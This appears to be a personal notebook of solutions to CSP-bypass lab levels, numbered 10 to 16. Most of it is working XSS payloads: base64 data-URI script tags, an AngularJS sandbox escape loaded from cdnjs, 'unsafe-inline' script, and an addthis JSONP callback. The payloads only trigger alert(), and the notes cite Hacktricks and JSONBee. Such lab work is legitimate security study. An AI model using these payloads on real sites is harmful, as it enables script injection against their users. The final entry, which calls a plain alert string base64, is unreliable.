00:
This should be safe

10:
In here, we are dealing with the following CSP 	header("Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; ");
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#third-party-endpoints-+-unsafe-eval


11:
Variation of: 10
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
The unsafe-inline allows for things like <script>alert%28%29<%2Fscript>

12:
variation of 11, only we used unsafe-eval instead of inline. We could base64 encode the value and tell JS to evaluate (eval)
That function.
YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
Now that we have this we need to include a script tag with a souce that will eval our function.
This requires us to tell the website what kind of data we want to render
src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="
Combine this with a script tag
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

13:
We can load in scripts from cloudflare ... angular is hosted on cloudflare ... 
Load in angular and you are free to do as you wish:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
Learn: https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#third-party-endpoints-+-unsafe-eval
Learn: https://medium.com/@bhaveshthakur2015/content-security-policy-csp-bypass-techniques-e3fa475bfe5d

14:
Since we can load in data we should mascarade our scripts as data :)
<Script Src=data:,alert(1)></Script>

15:
<script+src="https://m.addthis.com/live/red_lojson/100eng.json?callback=alert(1337)"></script>
Since addthis offers a JSONP endpoint which we can convientantly import thanks to our CSP rules, we can make that endpoint execute any arbitrary JS
Juicy ;)
This lab is based on https://github.com/zigoo0/JSONBee
and https://brutelogic.com.br/blog/csp-bypass-guidelines/

16:
data:text/javascript;base64,alert('This is a CSP bypass attack!')